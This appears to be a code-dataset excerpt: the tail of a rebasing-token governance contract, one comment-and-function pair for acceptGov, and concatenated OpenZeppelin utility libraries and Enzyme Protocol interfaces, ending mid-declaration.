returns (uint256) { return uint256(1e24).div(price.mul(1e12).div(targetPrice).add(1e12)); } // Check if the current price is within the deviation threshold for rebasing. function withinDeviationThreshold(uint256 price) public view returns (bool) { uint256 absoluteDeviationThreshold = targetPrice.mul(deviationThreshold).div(1e18); return (price >= targetPrice && price.sub(targetPrice) < absoluteDeviationThreshold) || (price < targetPrice && targetPrice.sub(price) < absoluteDeviationThreshold); } /** * @notice Sets the deviation threshold fraction. If the exchange rate given by the market * oracle is within this fractional distance from the targetPrice, then no supply * modifications are made. * @param _deviationThreshold The new exchange rate threshold fraction. */ function setDeviationThreshold(uint256 _deviationThreshold) external onlyGov { require(_deviationThreshold > 0, 'deviationThreshold: too low'); uint256 oldDeviationThreshold = deviationThreshold; deviationThreshold = _deviationThreshold; emit NewDeviationThreshold(oldDeviationThreshold, _deviationThreshold); } function setDeviationMovement(uint256 _deviationMovement) external onlyGov { require(_deviationMovement > 0, 'deviationMovement: too low'); uint256 oldDeviationMovement = deviationMovement; deviationMovement = _deviationMovement; emit NewDeviationMovement(oldDeviationMovement, _deviationMovement); } // Sets the retarget threshold parameter, Gov only. function setRetargetThreshold(uint256 _retargetThreshold) external onlyGov { require(_retargetThreshold > 0, 'retargetThreshold: too low'); retargetThreshold = _retargetThreshold; } // Overwrites the target stock-to-flow ratio, Gov only. function setTargetStock2Flow(uint256 _targetStock2Flow) external onlyGov { require(_targetStock2Flow > 0, 'targetStock2Flow: too low'); targetStock2Flow = _targetStock2Flow; } /** * @notice Sets the parameters which control the timing and frequency of * rebase operations. * a) the minimum time period that must elapse between rebase cycles. * b) the rebase window offset parameter. * c) the rebase window length parameter. * @param _minRebaseTimeIntervalSec More than this much time must pass between rebase * operations, in seconds. * @param _rebaseWindowOffsetSec The number of seconds from the beginning of the rebase interval, where the rebase window begins. * @param _rebaseWindowLengthSec The length of the rebase window in seconds. */ function setRebaseTimingParameters( uint256 _minRebaseTimeIntervalSec, uint256 _rebaseWindowOffsetSec, uint256 _rebaseWindowLengthSec ) external onlyGov { require(_minRebaseTimeIntervalSec > 0, 'minRebaseTimeIntervalSec: too low'); require( _rebaseWindowOffsetSec < _minRebaseTimeIntervalSec, 'rebaseWindowOffsetSec: too high' ); minRebaseTimeIntervalSec = _minRebaseTimeIntervalSec; rebaseWindowOffsetSec = _rebaseWindowOffsetSec; rebaseWindowLengthSec = _rebaseWindowLengthSec; } // Passthrough function to add pool. function addPool( uint256 _allocPoint, IERC20 _lpToken, bool _isRed, bool _withUpdate ) public onlyGov { masterPot.addPool(_allocPoint, _lpToken, _isRed, _withUpdate); } // Passthrough function to set pool. function setPool( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyGov { masterPot.setPool(_pid, _allocPoint, _withUpdate); } // Passthrough function to set tip rate. function setTipRate(uint256 _tipRate) public onlyGov { masterPot.setTipRate(_tipRate); } // Passthrough function to transfer pot ownership. function transferPotOwnership(address newOwner) public onlyGov { masterPot.transferPotOwnership(newOwner); } function getNow() public virtual view returns (uint256) { return now; } function getBlockNumber() public virtual view returns (uint256) { return block.number; } }
lets msg.sender accept governance
function acceptGov() external { require(msg.sender == pendingGov, 'acceptGov: !pending'); address oldGov = gov; gov = pendingGov; pendingGov = address(0); emit NewGov(oldGov, gov); }
911,587
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IDispatcher Interface /// @author Enzyme Council <[email protected]> interface IDispatcher { function cancelMigration(address _vaultProxy, bool _bypassFailure) external; function claimOwnership() external; function deployVaultProxy( address _vaultLib, address _owner, address _vaultAccessor, string calldata _fundName ) external returns (address vaultProxy_); function executeMigration(address _vaultProxy, bool _bypassFailure) external; function getCurrentFundDeployer() external view returns (address currentFundDeployer_); function getFundDeployerForVaultProxy(address _vaultProxy) external view returns (address fundDeployer_); function getMigrationRequestDetailsForVaultProxy(address _vaultProxy) external view returns ( address nextFundDeployer_, address nextVaultAccessor_, address nextVaultLib_, uint256 executableTimestamp_ ); function getMigrationTimelock() external view returns (uint256 migrationTimelock_); function getNominatedOwner() external view returns (address nominatedOwner_); function getOwner() external view returns (address owner_); function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_); function getTimelockRemainingForMigrationRequest(address _vaultProxy) external view returns (uint256 secondsRemaining_); function hasExecutableMigrationRequest(address _vaultProxy) external view returns (bool hasExecutableRequest_); function hasMigrationRequest(address _vaultProxy) external view returns (bool hasMigrationRequest_); function removeNominatedOwner() external; function setCurrentFundDeployer(address _nextFundDeployer) external; function setMigrationTimelock(uint256 _nextTimelock) external; function setNominatedOwner(address _nextNominatedOwner) external; function setSharesTokenSymbol(string calldata _nextSymbol) external; function signalMigration( address _vaultProxy, address _nextVaultAccessor, address _nextVaultLib, bool _bypassFailure ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IFundDeployer Interface /// @author Enzyme Council <[email protected]> interface IFundDeployer { function getOwner() external view returns (address); function hasReconfigurationRequest(address) external view returns (bool); function isAllowedBuySharesOnBehalfCaller(address) external view returns (bool); function isAllowedVaultCall( address, bytes4, bytes32 ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IIntegrationManager interface /// @author Enzyme Council <[email protected]> /// @notice Interface for the IntegrationManager interface IIntegrationManager { enum SpendAssetsHandleType {None, Approve, Transfer} } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "../IIntegrationManager.sol"; /// @title Integration Adapter interface /// @author Enzyme Council <[email protected]> /// @notice Interface for all integration adapters interface IIntegrationAdapter { function parseAssetsForAction( address _vaultProxy, bytes4 _selector, bytes calldata _encodedCallArgs ) external view returns ( IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_, address[] memory spendAssets_, uint256[] memory spendAssetAmounts_, address[] memory 